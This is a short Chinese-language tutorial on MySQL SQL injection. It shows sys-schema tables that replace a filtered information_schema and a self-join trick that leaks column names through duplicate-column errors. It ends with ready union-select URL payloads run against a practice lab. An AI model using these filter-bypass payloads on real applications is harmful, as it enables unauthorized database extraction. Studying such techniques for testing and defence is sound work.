information_schema可代替库
如果使用正则表达式屏蔽了information,则想一想有没有能代替的information的库。
例如:x$schema_table_statistics这个库里面就有table_schema和table_name,但是没有列名,那么列名就需要使用无列名注入。
可以代替information_schema的表 |
---|
sys.x$schema_table_statistics |
sys.schema_table_statistics |
sys.x$ps_schema_table_statistics_io |
sys.schema_index_statistics |
sys.schema_table_statistics_with_buffer |
无列名注入
当出现正则表达式过滤information_schema时,可以使用无列名注入。
join函数
当用下面这条命令在security表中查询时,会出现a表和b表拼接成一个新表,如下图。
select * from users as a join users as b;
再对其使用一个select查询进行包裹,由于会出现多个相同的列名,那么他就会报错。就可以利用此特性进行sql注入查询列名。
select * from (select * from users as a join users as b) as c;
当查询完第一个列名时,使用using排除,继续查询下一个列名。
select * from (select * from users as a join users as b using(id)) as c;
实操
下面在靶场中进行注入测试。
第一个列名:
?id=0' union select * from (select * from users as a join users as b) as c --+
第二个列名:
?id=0' union select * from (select * from users as a join users as b using(id)) as c --+
第三个列名:
?id=0' union select * from (select * from users as a join users as b using(id,username)) as c --+
以此类推。